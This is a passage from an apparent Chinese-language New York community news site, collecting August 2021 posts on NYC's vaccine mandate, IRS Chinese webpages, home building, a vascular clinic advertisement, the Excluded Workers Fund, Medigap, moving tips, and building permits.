除了涉及族裔问题,许多民众不解为何美国疾控中心(CDC)承认疫苗难防Delta变种病毒,政府仍在此时强制向私人企业推行“疫苗护照”?

推特用户Vincent则质疑:“强制使用未经(FDA)完全批准的疫苗是否合法?”

对此,有网民扬言对政府提告,也有人以波士顿在1901年强制推行接种天花疫苗的历史为例,认为市府新推的疫苗政策看似合法,但是游走在灰色地带。

在过去一段时间,纽约市政府一直发布措施,推动疫苗接种,试图以此减缓新一波疫情对纽约的冲击。

2021-08-08 / by / in , ,
方便在美华人 美国税局推出中文网页

为了帮助在美华人了解美国的税务信息,更好地融入美国社会,日前,美国国税局网站推出中文页面,有繁体和简体,方便华人浏览。

美国国税局网站推出中文页面,有繁体和简体。(美国国税局网站)

美国国税局(IRS)最近推出了一系列的中文语言服务,包括中文网站、中文新闻发布、中文视频等,这些中文内容还在不断完善和充实中。

美国国税局网站推出中文页面,有繁体和简体。(美国国税局网站)

美国国税局将陆续推出中文新闻稿,介绍与华人民生息息相关的重要税务信息和优惠政策,比如疫情纾困金、子女税优惠(Child Tax Credit)等。

美国国税局(IRS)正体中文网页请登录 https://www.irs.gov/zh-hant;简体中文网页请登录 https://www.irs.gov/zh-hans

华人家庭比较关心的,子女税优惠政策的详细内容,请登录:https://tinyurl.com/834bwb45

 

2021-08-08 / by / in , , , , ,
美国建房买地和建房的流程|美国建房还有哪些成本你没有计算?

文|雨荷

华人在美国买地自建房屋是现在越来越热的话题。那么如何买地呢? 首先我们就要找到地的资源。一般来说最简单的办法就是找房屋经纪人咨询,或者通过房地产的网站来自己搜索。比如说在Zillow房地产网站、Trulia 房地产网站、Redfin 房地产网站等都可以,输入信息后再过滤器里面输入信息,相应的网站就会出来很多正在出售挂卖出售的各种各样的土地。

兰岳律师-718-461-9434/法拉盛律师/布鲁克林律师

什么样身份的人可以购买土地呢?

这在美国来讲没有特殊的要求,不管是哪国的身份都可以购买美国的土地。只要您持有有效的护照,就可以买到土地、不动产或者动产等,所以在美国买地建房是完全可以的。

咨询土地属于区域

搜索出各种各样的土地资源之后,自己选择好的地块,查下这块地是属于美国哪个城市管辖的,然后去city(城市) 计划审批部门咨询。首先要询问,这块地的zoning(区域划分) 是什么。美国根据土地不同的属性把它化成不同的区域,有商用的建筑区域、工业建筑区域、农业建筑区域以及民宅的建筑。所以要确定想要买的这块土地是可以建民宅的。如果确定这块地是民宅用地可以建房子,那就要考虑的这块地周围的社区环境是怎样的。假如说买的是一块民宅地,但是紧邻它的是工业用地。那就要去现场考察一下。

考察土地周围社区

如果是块荒地,那就要考虑到在今后的几年之内,有没有可能在这块地要建个大型的工厂。如果那样到时候您可能就不会像现在这么开心了。所以要有预见性,即需要看现在房子地的区域划分,还要了解周围社区的区域划分。

土地建筑面积和土地的公共设施

要确认这块地,最大能建多大面积的房子。每个ci t y对地的要求都不一样。首先要考察清楚。还要问清楚这块地是否有公共设施连接过来。公共设施包括上水系统、下水系统、电力以系统及煤气系统,这些是非常重要的。

如果这块地在山顶,可能是没有下水管网连接的。就需要做化粪池。但是做化粪池的时候又涉及到一个问题,土壤它的渗透性质是怎样的。如果土壤的渗透性通过测试,就可以做化粪池。但是如果土壤的渗透报告不通过,说明土壤对于水的渗透吸收是不达要求的。就没有办法建化粪池。

电力系统

一般来说买的地都是有电线管路经过的地方,那如果在一些比较偏远的地方没有电线管路,就要申请电线接到这里,那就要付接电的费用,或者是有一个代替的办法,比如说太阳能发电和风力发电等等。

地方煤气管网

有一些地方煤气管网也是接不过来的。那就要考虑到如果煤气管网接不过来,就要在自己家里建一个液化石油气罐,建好之后是需要石油气公司定期的来给加气。如果想在房子里面建液化石油气罐,那就要考虑物业 附近有没有提供这种服务的液化石油公司。这也是要考虑的成本之一。对于公共设施,就是有这几项需要注意的问题。

那么下面一项还要跟city 去make sure。就是Easement(地役权)又叫做使用权。property(物业) 也就是这块地买了之后,要确认这块地是不是可以百分之一百的使用。

不容忽视的建房成本

买地建房在city要交很多的费用。买地新建房屋之前,对于成本核算,一般可能只考虑到材料成本、人工成本和一些相关的设施的费用,但是在city 收取的费用也是非常庞大的。

A.首先要收的就是申请费,然后许可证费,对于不同的施工项目的许可证的费用。然后市政府检查的费用。如果是新建房屋的,会收城市发展建设费,因为新建的房屋会对周围的社区造成一定的影响。比如说社区的车流会越来越密集,对于交通对于其他的方面都有影响。这费用最终city 就要由你来承担,这笔钱是个不小的数字。一般在两万到三万块。

B.还有你砍树也是city 要收费。而且有些树木是保护树木,是不可以随意砍伐的。比如在加州,橡树就是保护的树木。所以说买了一块地没有做很多的调查,后来发现砍树就要花掉十几万费用。除此之外,还有一些其它的费用。比如说如果周围有校区的,就要交学校的建设的经费等等。所以说这些费用在买地之前一定要了解清楚。

盖房子的简单步骤

1.foodtings(建地基)

拿到permit 之后,第一步要做地基,先要把整个房子的框架地基挖出来,然后把钢筋做好,是第一步叫做foodtings foodtings做完之后,city过来检查,检查没有问题。再进行下一步,这是比较重要的,水泥一定要有16inth(40.cm)的深度。

2.做各类管道

做完地基后要做底下的管道。整个管道的排列,然后和city的上下水全部接好。city 之后过来检查没有问题,再做整个的地基叫slab 整个的一个foundation slap。到时候也会有卡车过来pour。

3.做房子的整体的结构

做房子的整体的结构叫做 framing style,木工进场,钉木框架。用木质的结构搭起来,大概在十个工作日就可以把一个工程搭起来。房子木质的结构搭起来,框架完成后就是走管线和电路,然后通电的电线接到位。

4.油料去喷油漆

屋顶做防水和铺瓦片。大多数铺油毡防水布 ,建筑墙体的水份被蒸发完后(墙干了)(干墙)可以(装修粉刷)墙面了,然后是油料去喷油漆。

5.安装浴室里面的设施

喷完油漆之后做橱柜,然后大理石。然后把电全部接完,把灯全部做好,把马桶把这些浴室里面等全部做好之后,最后再做地板,接下来可以装窗帘,楼上铺地毯了。室内工程将竣工了。

 

2021-08-07 / by / in , , , , , , , ,
纽约市疫苗接种证明强制令 9月13日起强制执行

纽约市府日前发布,进入餐馆堂吃、到健身房、娱乐演出场所,必须出示疫苗接种证明,8月16日起生效,从9月13日起,即公立学校开学时强制执行。

纽约市长白思豪(Bill de Blasio)称,未来两周会公布执行细节。

根据市府的说法,市警局不负责执行“疫苗护照”的检查任务,因此警察不能主动询问民众的就医纪录。市卫生局会作为主要的负责单位,但具体执行方式还有待市府公告。

白思豪还表示,9月13日之前,市府都不会对业者进行检查、强制执法或处罚,“但这是我们将要解决的事情”。

未满12岁且无法接种疫苗的儿童,仍然可以与父母在餐馆室内用餐或进影院看电影;还有点外卖的民众,都不在强制令的执行范围内。

出示疫苗接种证明有哪些方式?

白思豪建议民众可使用市府推出的手机应用程序(App)“NYC COVID Safe”,或州府推出的手机应用程序——“精益求精通行码”(Excelsior Pass),便向业者出示疫苗接种记录。

“精益求精通行码”是州府与IBM合作开发的二维码手机应用程序,利用加密区块链技术,确认民众已完成疫苗接种,或近期的检测结果为阴性。

此外,市议会健康委员会主席李文(Mark Levine)在推特上推荐美国疾控中心(CDC)的“疫苗接种证明”以及纽约市的“疫苗接种证明”,供民众选择。

近期,受高度传染性的武汉肺炎(新冠病毒、COVID-19)Delta变种病毒的影响,纽约的疫情再度升温。过去一周,每天的确诊病例都超过了1千人。

2021-08-05 / by / in , , , ,
静脉曲张初期 早预防早治疗 微创激光见效快 | 静脉曲张症状和危害,静脉曲张改善,静脉曲张前兆, 肺栓塞会危及生命 纽约/法拉盛/医生诊所

纽约/法拉盛/ 静脉曲张 早预防早治疗 微创激光见效快 | 静脉曲张症状和危害,静脉曲张改善,静脉曲张前兆, 肺栓塞会危及生命 /医生/诊所

法拉盛血管中心/

Flushing Vascular Center

地址:132-49 41st Rd, Ste 1B, Flushing, New York 11355

电话:(888) 950-2655

门诊时间:周一到周六 8点至晚6点,周日休息

静脉曲张(Varicose veins)是一种常见的血管病症。美国有73%的女性以及56%的男性都会出现静脉曲张。纽约华人有不少从事餐饮服务或商业经营需要长期站立的工作,随着年龄增长,发生静脉曲张概率会比较大

静脉曲张初期没有任何感觉,容易被忽视。但是,等到症状严重时,如果久不处理,则会加速静脉曲张恶化,严重时造成伤口变色、溃疡无法愈合,更严重的甚至需要截肢

除了久站久坐工作者容易发生静脉曲张老人、孕妇、遗传、过胖都是静脉曲张的主要发生对象有高血压、高脂、糖尿病等慢性基础性疾病的患者,容易导致血液循环不畅、回心血流减慢,引起下肢静脉压力增大,静脉曲张的发病率更高。

静脉曲张通常出现在下肢,静脉曲张前兆是腿部出现隐隐约约的蓝色线。

静脉曲张初期的时候,表现为毛细血管扩张,网状静脉扩张;站立时,腿部可见弯曲增粗的静脉血管,高出皮肤,并且常常感觉小腿酸胀、容易疲劳等。当有这些现象出现,很可能就是静脉曲张的初期表现。

静脉曲张症状

大多数静脉曲张发生在下肢,静脉曲张主要症状较大的静脉血管像蚯蚓扭曲,明显凸出皮肤腿部常常感觉酸胀俗称“蚯蚓腿”。有些人症状比较明显,会感觉到疼痛或者腿部抽筋。静脉曲张的部位会感到跳动、发热或者刺痛,伴有瘙痒和足踝部肿胀。局部的皮肤颜色变色发暗,或者皮肤溃疡。

静脉曲张危害

健康的静脉通过一系列静脉单向瓣膜向心脏输送血液。正常情况下,静脉有预防血液反流的单项瓣膜另外,肌肉的收缩也起到挤压血液流动的作用,使静脉血向心脏流动。

如果静脉瓣膜受损出现问题时,造成瓣膜的闭锁不全,血流产生逆流,就会积聚于静脉中,造成下肢静脉压力增加,静脉血管产生扩张、形变扭曲,这就是下肢静脉曲张。

下肢静脉曲张程度比较严重会出现下肢的胀痛、皮肤干燥,小腿肌肉痉挛等症状,甚至出现明显的曲张静脉团,下肢水肿,皮肤慢性溃疡影响行走对爱美女性来说,实在影响美观,因此被称为“美腿杀手”

如果美观是小事的话,静脉曲张如果不及时治疗,浅表静脉血栓有可能蔓延到深静脉,造成深静脉血栓,有肺栓塞危及生命的风险。 

正因为静脉曲张有并发症危害一旦医生判断下肢静脉的瓣膜功能有较大的损坏静脉血出现倒流,手术介入是最合适的选择因此,即使您有严重静脉曲张,也不必太过紧张

静脉曲张看哪类医生,如何消除静脉曲张

如果仅是轻微的静脉曲张,是不需要医学介入的。只要自己注意不要长时间保持一种姿势,加强锻炼,或者穿弹力袜,从而不要让病症进一步发展。

如果感觉到疼痛或影响行走,就要及时找医生诊断

很多人可能搞不清治疗静脉曲张应该找什么医生。静脉曲张属于周边血管科,所以可以找心血管方面的医生,或者是专门治疗静脉曲张的医生。

法拉盛血管中心/静脉曲张/ 微创激光治疗/ 血管手术/纽约静脉曲张治疗/静脉功能不全/静脉溃疡/血液透析/深静脉血栓/甲状腺活检/糖尿病溃疡/血管支架动脉瘤治疗专家

地址:132-49 41st Rd, Ste 1B, Flushing, New York 11355

电话:(888) 950-2655

门诊时间:周一到周六 8点至晚6点,周日休息

现在治疗静脉曲张的方法有多种选择,比如移除、阻塞或溶解有问题的静脉等不过这些治疗方式都比较疼痛,而且会留疤痕。

静脉曲张法拉盛血管中心诊所治疗室

如今,新的微创手术,比如静脉内激光治疗(EVLT, Endovenous laser treatment),患者疼痛感更轻、创口更小、康复更快研究表明腔内激光治疗静脉曲张的有效性高达98%一般说来,患者第二天就可以恢复正常的工作和生活。

什么是静脉内激光治疗呢?简单来讲,这种激光治疗手术是将激光光纤通过一根细导管插入曲张静脉内,通过激光作用将静脉血管闭合、消除静脉反流,从而达到治疗效果。相比传统的手术,激光治疗手术的优势是:

  • 微创无疤痕(伤口小至2毫米)
  • 疼痛少、恢复快
  • 治疗时间短,术后当天可以下地走路;
  • 有效性高达98%,复发率低。

静脉曲张可以预防吗,怎么改善

  • 穿弹力袜能改善腿部循环
  • 如果体重超标可以通过减肥和走路改善症状
  • 如果腿部肿胀,可以减少盐分来减少水分潴留
  • 睡觉时垫高腿部来改善循环

法拉盛血管中心专业医疗团队:

Nirav Patel 医生:多项血管治疗专家,包括:硬化疗法、静脉曲张、动脉瘤、血管畸形、颈动脉疾病 (CAD)、糖尿病并发症、血管造影、颈动脉内膜切除术和深静脉血栓治疗

Daniel Shifteh 医生:20 多年经验的委员会认证放射科医生

Ilkhani 医生拥有超过 35 年的外科手术经验 Long Island Surgery 专门从事血管和静脉手术。

Zunzhen Chen: 具有10 以上年临床经验的超声技师;

Yumei Xian: ARDMS 认证腹部超声技师

法拉盛血管中心专业医疗团队为患者提供全面的血管疾病护理,其结合了传统的血管手术以及世界先进的治疗方法致力于微创、非手术治疗各种血管疾病及内科疾病。

在法拉盛血管中心有世界知名的血管外科医生结合最新的科研医疗技术,为患者提供个性化、最佳治疗服务

这里的血管外科医生与初级保健医生、胃肠病学家和其他专家密切合作,为患者提供低风险的微创手术,并发症风险低、伤口小、手术时间短、恢复快。

法拉盛血管中心接受各类医疗保险

如果您或家人正被血管疾病困扰,请随时联系法拉盛血管中心:

地址:132-49 41st Rd, Ste 1B, Flushing, New York 11355

电话:(888) 950-2655

传真:585-203-0066

门诊时间:

周一到周六:8点至晚18

周日休息

2021-08-05 / by / in , ,
纽约州失业者一次可领15600美元 劳工部8月1日起开放申请

纽约州的经济在武汉肺炎(新冠病毒、COVID-19)疫情中遭受重创。很多人失去工作,家庭收入锐减。纽约州劳工部“被排除工人基金”(EWF) 为在疫情期间失去收入,并被排除在其它各种联邦救济计划之外的纽约人,提供经济帮助。8月1日起开放申请。(纽约州劳工部官网详细信息:https://dol.ny.gov/EWF

EWF发的福利分两级,一级福利发15,600元,申请人应提交至少5份的证明文件;二级福利3,200元,申请人应提交至少3份的证明文件。每个申请人只有资格获得一种福利。

EWF此次投入的资金上限是21亿美元。

纽约州劳工厅表示,由于资金有限,按照先到先得的方式发放,并按照收到申请的先后顺序,处理申请。

申请人资格:

1、2020年3月27日前居住在纽约州,且目前仍在纽约州居住;

2、不符合失业保险、COVID-19收入补助或其它来自州或联邦的福利资格,也从未收到此类福利;

3、在2020年4月前的12个月里,收入不足26,208元;且:

4、在2020年3月27日至2021年4月1日间,每周工作收入或家庭收入减少了至少50%,原因是:失业、部分失业或因COVID-19没有能力或无法工作;或因家庭户主去世或残疾,而承担了大部分家庭收入压力。

5、申请人必须证明,在他们证明有资格获得福利之日之前的 6 个月内,他们每周至少工作 15 小时并获得了超过 6 周的工作报酬。

6、申请人在申请时必须年满 18 岁。

如何发放资金?

通过批准申请的人,将通过一张Visa储值卡收到一笔一次性的支付款项,储值卡将邮寄给申请人,Visa储值卡的有效期最长为12个月,但资金的使用没有截止日期,就算储值卡到期后也可以使用,但届时可能要收费。

如何证明身份?

申请人必须提交以下一种或多种文件,每种文件均有一个分值,每个申请人均须达到4分或以上。满足以上所有要求,方可批准申请。

纽约州驾照(4分)、纽约州非驾照身份证(4分)、美国护照(4分)、纽约市民卡(4分)、外国护照(3分)、纽约州实习驾照(3分)、美国军人证(3分)、纽约州当地政府、纽约州政府机构或联邦政府签发的带照片ID(3分)、纽约州高等教育机构带照片ID(3分)、心理健康办公室签发的纽约州住院患者卡(2分)、过期美国或外国护照(过期未超过2年,2分)、过期外国驾照(过期未超过2年,2分)、移民局(USCIS)签发的I-94表或受理通知(1-797 、I-797A、I-797的,2分)、结婚证书(1分)、离婚判决书(1分)、公园游乐卡(1分)、非美国出生证(1分)、非美国身份证(1分)、学位证书/成绩单(1分)、其它劳工部可接受文件(不超过3分)等等。

如何证明2020年3月27日前直至如今居住在纽约州?

驾照、非驾照ID或纽约市民卡(可早于2021年4月19日之前30天签发);水电费账单;银行或信用卡对账单;当前的租赁、抵押付款或财产税报表;纽约市房屋局的信件;收容所信件等。

如何证明工作经历?

要获得1级福利15,600元,申请人应提交至少5分的证明文件;未提供以下一种5分文件的申请人,必须提交至少一份3分文件,才能达到1级申请资格。例如合计提供5份1分文件,便不符合1级申请资格。

工作经历文件可包括:2019年或2020纳税年度的W2或1099报税表(5分);雇主出具的受雇日期、离职原因的信件(5分);因COVID-19大流行而失去收入之日前6个月期间的6周工资单或工资表(5分);因大流行而失去收入之日前6个月内的薪资通知(5分);雇主定期直接存款或转账记录(3分)、雇主签发的雇员ID(1分)等。

如果不具备1级福利的条件,要获得2级福利3200元,申请人应提交至少3分的证明文件。

提交申请后,劳工厅若要求你补充信息,将发送短信或电子邮件给你,并附链接,告知你登录账户,你有7个工作日时间回复。

预计审批时间需要6至8周;如果提供资料不完整或需要补充文件,处理时间会延长。

如果申请被拒绝或不同意判定,申请人有权提出上诉。

寻求从 EWF 获得资金的申请程序现已开放。访问ewf.labor.ny.gov申请。

申请人申请后,应密切关注账户、短信、电子邮件的状态。短信的发送号码为:833-586-1144(免费),电子邮件的发件地址为:ewf@labor.ny.gov,劳工厅来电的号码是:877-393-4697

 

 

2021-08-04 / by / in , , ,
红蓝卡补充保险计划(Medigap) 填补传统联邦医疗保险的“空白”部分

美国联邦医疗保险Medicare红蓝卡,是为65岁以上长者提供的退休医疗保障。传统红蓝卡Medicare的A部分-住院医疗保险,和B部分—看医生保险,涵盖了大部分的医疗费用,但是自己也需要支付部分费用,比如自付额(deductible)和共保额(Coinsurance)。Medicare红蓝卡补充保险计划Medicare supplement Plan(也称为Medigap) 则可以承保传统Medicare红蓝卡未覆盖的部分。

Medicare红蓝卡补充保险计划Medigap

Medigap 是Medicare补充保险计划,它可以填补传统Medicare红蓝卡的“空白”。与Medicare 的C部分一样,Medigap同样属于商业保险。 传统的Medicare红蓝卡A部分和B部分能为收益人支付大部分医疗费用。不过受益人自己也要支付一部分费用,比如每年的自付额和共保额。 Medicare 补充保险 (Medigap)就可以帮助承担这些自己支付的费用,比如:

  • 定额手续费(Copayments), 每次看医生要支付的费用,比如25美元;
  • 共保额(Coinsurance),比如A部分,住院60天后,每天自己要支付$371;
  • 自付额(Deductibles) ,比如A部分住院,每年先要自己支付的$1484费用。

有些 Medigap会覆盖传统Medicare 不承保的服务,例如您在美国境外旅行时的医疗护理。

参加Medigap的注意事项

如果要加入Medicare补充保险计划Medigap,您需要了解以下这些事项:

  • 您已经参加了Medicare红蓝卡A 部分和 B 部分;
  • 要参加Medicare补充保险计划,就不能加入Medicare C部分(Medicare Advantage),只能选择其中的一种;
  • 参加Medicare补充保险计划,每月要额外支付保险费用;
  • 一份Medigap只能承保一个人的医疗保险费用,如果您和您的配偶都需要Medigap,就需要另外购买一份Medigap;
  • 您可以从您所在州获得销售许可的保险公司购买 Medigap 保单;
  • 标准的 Medigap, 即使您有健康问题,也都可以保证续保。也就是说。您只要支付保费,保险公司就不能取消您的 Medigap保险计划;
  • Medigap 保险计划是不包括处方药保险的。处方药保险包括在 Medicare 处方药计划(D 部分)。即使是从同一家公司购买 Medigap 和 Medicare 药物计划-D部分,保险费用也是要分两份支付的。
  • 您如果已经参加Medicare C部分,就不能同时参加Medigap。想要修改保险计划的话,就先要从C部分转到传统计划A部分和B部分,然后再加入Medigap就可以了, 反之也是一样。

Medigap不覆盖的部分

  • Medigap不覆盖 长期个人看护(不论是居家护理还是护理院);
  • 眼科和齿科诊疗;
  • 助听器;
  • 私人护理以;
  • 所有处方药。

参加Medigap最佳时间

购买补充医保的最佳时机是在登记期内,即购买Medicare B 部分后的 6 个月内。保险公司不能因为您的健康状况而拒绝受保或者增加保费,但超过Medigap OEP后再购买则没有这个保障。

Medicare补充医疗保险Medigap类型

补充医保计划Medigap有 10 种类型,标记为 A-D、F、G 和 K-N。Medigap的子计划内容由各州政府负责管理。纽约州批准的标准Medicare补充计划,您可以点击这里找到。

十个承保级别对自付额(Deductible)、定额手续费(Co-pay)和共同保险额(Co-insurance)等给付不同,每月的保费各不相同,随着年龄越大,每月的保费也会相应增加。平均来讲,参加Medigap每个月的保险费用约为200美元。

(图片:medicare.gov)

如果您想比较一下Medigap各项计划,可以登录Medicare.gov官方网站,输入您所在地区的邮编号码,就可以选择和浏览各种计划。

如果您有任何关于联邦医疗保险Medicare 和补充计划Medigap的问题,可以致电1-800-MEDICARE (1-800-633-4227)获得协助;听障人士可以致电 1-877-486-2048。

所以,补充保险Medigap着重于帮助支付传统Medicare所不涵盖的费用,还有在境外旅行时的医疗费用;而Medicare C部分是传统Medicare的替代计划,着重于提供额外的医疗服务。这两种计划,只能选择其中的一种。不过,长者可以根据个人需求改变计划。如果想要转换Medigap或Part C  ,要等到各年度的开放注册期才能办理,也就是要在每年10月15日至12月7日间才可进行加入、退出等转换申请,若是不在时限之内,就要等到下一年再转换。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

 

2021-08-04 / by / in ,
纽约搬家最全攻略|美国搬家详解|搬家技巧和建议

文|雨荷

乔迁新居是人生的大事,也是喜事。但是会耗费大量的时间,金钱和精力,对很多人来说真的是一个大工程。最好提前做好准备在疫情期间搬家,更是让人焦头烂额,想要省力一些,不如找搬家公司代劳。找一个好搬家公司非常重要。纽约搬家公司有哪些呢?

下面小编介绍几家信誉好靠谱的搬家公司

易记搬家/纽约搬家/专业搬家/货运服务

迅达搬家374-986-9861

中国搬家 917-518-9998

纽约飞毛腿搬家-917-993-0172-纽约 法拉盛 搬家 公司 搬钢琴 学生搬家 长途 搬家 服务 搬运 钢琴 家具

服务好的搬家公司/CJ 搬家 CJ Korean Moving 917-653-3932

搬家技巧和建议

1.将您的贵重珠宝、现金和其他贵重物品装入锁箱,以便随身携带。密码箱将确保您所有的贵重物品都放在一个地方。

2.在搬家公司开始包装并将其装载到卡车上之前,您应该检查您的家具是否有凹痕和划痕。这会让您了解移动的家具在此过程中是否有任何凹痕或划痕;装好物品的箱子要贴上标签,这样到新家时方便找到这些东西,方便摆放。

3.搬家必需品包是一个小行李箱、盒子或手提箱,您可以装上搬家当天和第二天搬家时需要的任何东西,以及重要的文件和贵重物品不想上车。包括手机充电器、洗漱用品、药物和换洗衣服、文书工作等。把它随身携带汽车、卡车驾驶室或飞机上。如果灾难来袭,移动的卡车丢失了,至少您会随身携带一些必需品。

4.确保您的手机充满电。在搬家当天,搬家前一晚让您的手机插上电源,并将手机充电器存放在您的必需品包中,这样如果您在搬家当天播放列表中耗尽了电池电量,您就可以轻松地再次充电。

5.开始积极地逐个房间打包您家的其余部分。从一个房间开始,然后移动到另一个房间。确保不要留下任何可能在您的新家中有用的东西。

6.在拔下所有电子设备之前拍下它们的照片,这样您到新家时,看照片就知道如何重新连接它们。可以帮您组装设备或将帮助在新地方工作得更快。

7.厨房用具、茶具、餐具、装饰品等易碎物品单独包装、单独搬运,以免弄碎。

8.获得古董物品的书面评估以验证其价值。打包时,请务必记下古董等特殊价值物品的价格。这些物品可能需要您的搬家公司提供额外的保险。

在搬家前准备工作

1.选择您的搬家公司并确认安排。与专业的搬家的预定搬家日期,先看天气预报,选择好一个好日子搬家,叫搬家公司按时到达,按时开始搬家。

2.清点所有要搬的东西。您的首要任务应该是提前计划。确保检查您的所有物品并清点要移动的所有物品。参观新房子里的每一个房间,量新房各房间大小尺寸,量大型家俱电器尺寸,规划新居家俱配置图。决定你要带什么以及你不要什么。

3.清理厨房用具、橱柜、电子产品、家具以及角落和缝隙,喷洒杀虫剂,避免把蟑螂带到新居。将新居彻底清扫干净,在墙角和排水口喷洒杀虫剂。在您打包电子产品时,将它们单独放入密封的塑料袋中,以防止蟑螂侵扰您的其他物品。

4.开始收集用于包装的盒子和报纸等移动用品。订购或购买用于包装的盒子和移动用品,例如胶带、气泡膜、标记等。还要确保订购特殊物品,如床垫套、衣柜盒、餐具桶等。

5.把你不常使用的物品(季节性物品、书籍等)装箱,开始收拾你的家。从包装你不经常使用的东西开始,您需要记下打包的每件物品的价值。

6.清洗地毯和窗帘,并叠好装在箱子里封好,到达新地方并开始拆包。

7.将所有电器手册和保修单放在一个地方,供新入住者使用。将它们放在新居住者容易找到的地方。

搬家当日

1.确定最后装载哪些箱子和物品。仔细查看您的库存,并勾选所有内容。您可以根据物品的价值和必要性为首先和最后,设置优先级 。
2.墙上的所有照片都拿下,放在包装盒子中。
3.所有箱子的顶部和侧面都标有您新家中的目的地房间。确保不仅在盒子上标上物品的类别,还要标上您希望放置该物品的房间。这样可以更轻松地卸下、打开包装并运到您想要的地方。
4.您的设备中没有任何内容。仔细检查所有电器,确保所有电器都是空的,并且电器中没有任何物品 。
5.再次检查,所有的家具或橱柜,确保没有遗漏任何重要的东西。并检查是否有放错地方。
6.拆开剩余的卧室套装。卧室套装应该被拆卸,以便您的搬运工可以快速装载它们。
7.在您的新位置指导搬运工放置物品。确保在搬家工人到达之前到达新地方。这样,您将帮助他们在正确的位置设置东西。
8.准备一份必不可少的箱子清单,不要忘记将以下物品放入您的必需品箱中。

如何搬运钢琴

钢琴是重型乐器,而且是精致和脆弱的东西。任何钢琴都需要小心处理、调节、储存的物品。搬运钢琴,要聘请经验丰富的搬家公司将确保安全搬家。因为钢琴是一项重大的财务投资,所以您的搬家公司应该有保险,以防发生事故。

那么如何移动钢琴而不损坏它?根据它们的高度,所有的钢琴分为三类。第一类包括长达 120 厘米的轻型器械。它们往往呈棕色,重约 150 公斤。高度在130-150厘米之间的钢琴属于第二类。它们的特点是更大的尺寸和深沉的声音。此类模型通常采用黑色制成,重量可能为 200-400 公斤。还有的钢琴最低高度为 1.5 米,可能重约半吨。

一般来说,钢琴搬运的过程包括许多不同的设备,如搬运车和推车、定制设计的坡道、特殊的包裹物、毯子、背带,以及许多其他取决于乐器的尺寸和重量的设备。当然还有它的起源和年代。更重要的是,钢琴应该用专门配备的货车从一个地方运输到另一个地方,以提供额外的安全保障。您有任何有关钢琴搬家的问题都可以致电纽约快乐搬家公司,包装和装箱、储存等。公司拥有最完善的搬屋设备和一批技术精、训练有素的搬家队伍,确切地知道如何正确小心地移动钢琴,而不会造成任何伤害。您将获得,安全快捷的优质服务。

搬家时如何拆卸家具

有些家具可能大又重且难以搬运,门窄过不去, 拆卸后方便搬运。

服务流程是:首选咨询电话报价,预约拆装时间、地点 ,由具技术专业人员,拆装熟练并迅速上门服务 ,拆卸空调 , 组装空调, 最后费用结算。

自行拆卸家具的技巧

1.准备自封袋

您将处理数十个螺钉、螺栓和其他零碎物品。除非您使用自封袋,否则这很快就会令人困惑。使用透明的小袋子,您可以将不同家具的碎片分开,这样在搬运过程中不会丢失或混淆。手边有一个记号笔来命名和整理每个包。

2. 知道哪些家具需要拆卸

根据您运输家具的方式,有些部件最好保持组装状态。餐椅等物品可以轻松叠放,无需拆卸。如果时间有限,请确保考虑大型物品的拆卸时间。

3. 测量大型家具以确保它适合搬家的卡车

把你家物品装进卡车是一项棘手的任务。卡车存储空间的大小和家具的大小。把数字写在纸上,看看它们是否符合标准。

4. 收集你的工具

当您开始为搬家拆卸家具时,您不会想每隔几分钟就起床寻找新工具。因此,请在开始之前收集您认为需要的工具。这将确保您有更多时间花在您的项目上,减少开车去百货公司的时间。

5.阅读拆解说明

知道如何拆卸家具可能很困难。但是,如果您保留了家具的说明,那么按照这些说明进行拆卸是最简单、最有效的方法。对于那些没有纸质说明的人,大多数可以通过搜索品牌名称和型号在网上找到。

搬家时为什么要拆家具?

拆卸家具可能听起来很费力,但有时它对于轻松搬家至关重要。这些好处对整个过程有很大帮​​助,减少运动时对身体的压力。

搬到新家

1.向您的邮局提交地址变更表。一旦您搬出,您将不希望银行信函、重要邮件或账单到达您的旧地址。最好提前向您的邮局提交地址变更 ,以便您开始在新地址接收邮件。前往您的邮局并填写地址变更表,确保工作或学习相关的邮件都会寄送到新地址。

2.联系保险公司转移保单(人寿、房主、租户)。明智的做法是通知您的保险公司并安排转移政策。

3.准备一份朋友、公司和个人帐户的列表,他们应该收到您即将搬家的通知。准备一份清单,以提醒有关各方您要搬家,特别是银行、经纪公司、您公司的人力资源部门、您订阅的杂志和报纸、保险和公用事业公司。

4.银行和信用卡公司需要更改地址,在网上可以办理。

5.美国法律规定,非美国公民搬家后10天内要去移民局改地址。

6.您的评论将帮助搬家公司与新客户建立更多信任。说出您最喜欢哪些服务或不喜欢哪些部分。这将有助于公司改善其服务和客户体验。

搬家保险,损坏后的索赔

法律要求搬家公司提供的基本保险。确保购买额外的保险,或购买单独的搬家保险。这将增加您的搬家费用,但如果您的物品损坏或毁坏,它将得到回报。

最全面、最昂贵的保险是全额保障。在此承保范围内,您的搬运工将补偿您物品的全部当前价值,修理损坏的物品以使其恢复到以前的状态,或者用新版本更换损坏或丢失的物品。如果您要搬运更昂贵的物品,则可能需要为全额保险支付额外费用。如果这些物品损坏或丢失,这是确保您获得公平补偿的最佳方式。 

您应该做,事先准备一份详细的物品清单。包括物品的状况和货币价值,以及可以证明货币价值的任何收据或信用卡对帐单。为您的物品拍摄照片和视频也是明智之举,这样如果您必须提出搬家保险索赔,您就可以提供该物品先前状况的具体证据。

尽管您的搬家公司会在搬出当天自行清点您的物品,但同时拥有您的清单和搬家公司的清单将确保不会遗漏任何物品。另外,拥有两个清单意味着如果您以后被迫提出搬家保险索赔,您将能够提供双倍的证据。搬运工清点库存时,请务必将清单放在手边。然后,当您被要求批准搬家公司的库存时,您可以交叉引用这两个列表以获得最大的准确性。

您还应该跟踪与搬家公司的所有沟通。写下与您交谈的每个人的姓名,记录谈话内容,并保留您收到或签署的每张纸的副本。便于日后提交搬家保险索赔时提供。

2021-08-04 / by / in , , , , , , ,
美国房屋建筑申请许可证详解|违章建筑如何合法化?

文|雨荷

很多中国人移民到美国后,买房子私下进行加建改建或装修。并不知道在美国装修房屋需要进行许可证申请。美国政府规定,凡是房屋增值服务超过500美金的,都必须要申请施工许可证。不然会收到罚单,更严重一点还需要律师陪同上法庭,潜在的风险都是不可估量的。

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无论是新建、加建、改建还是重建自己的房屋,或者只是修改了房屋的某一部分的结构。甚至换一个门窗。都需要合法的施工许可证。

怎么样申请施工许可证呢?

